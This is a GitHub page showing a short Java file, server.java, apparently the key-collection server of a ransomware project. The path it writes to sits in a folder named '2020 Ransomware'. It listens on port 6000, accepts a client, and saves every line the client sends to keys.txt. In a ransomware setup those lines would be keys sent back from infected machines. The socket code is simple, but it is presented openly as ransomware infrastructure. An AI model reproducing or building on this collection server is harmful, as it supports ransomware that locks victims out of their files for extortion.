-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathserver.java
50 lines (33 loc) · 1.15 KB
/
server.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.*;
import java.net.*;
public class server{
public static final int SERVERPORT = 6000;
public static final int SERVERPORT2 = 5000;
public static void main(String[] args) throws IOException {
ServerSocket serverSocket = new ServerSocket(SERVERPORT);
//ServerSocket serverSocket2 = new ServerSocket(SERVERPORT2);
System.out.println("Waiting for client");
Socket s = serverSocket.accept();
System.out.println("client 1 connected");
//Socket s2 = serverSocket2.accept();
//System.out.println("client 2 connected");
BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\Users\\Quan Pham\\Desktop\\Projects\\2020 Ransomware\\keys.txt"));
String str = null;
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
while ((str = br.readLine()) != null) {
System.out.println("client sent: " + str);
bw.write(str + "\n");
}
s.close();
/*
BufferedReader br2 = new BufferedReader(new InputStreamReader(s2.getInputStream()));
while ((str = br2.readLine()) != null) {
System.out.println("client sent: " + str);
bw.write(str + "\n");
}
s2.close();
*/
bw.flush();
bw.close();
}
}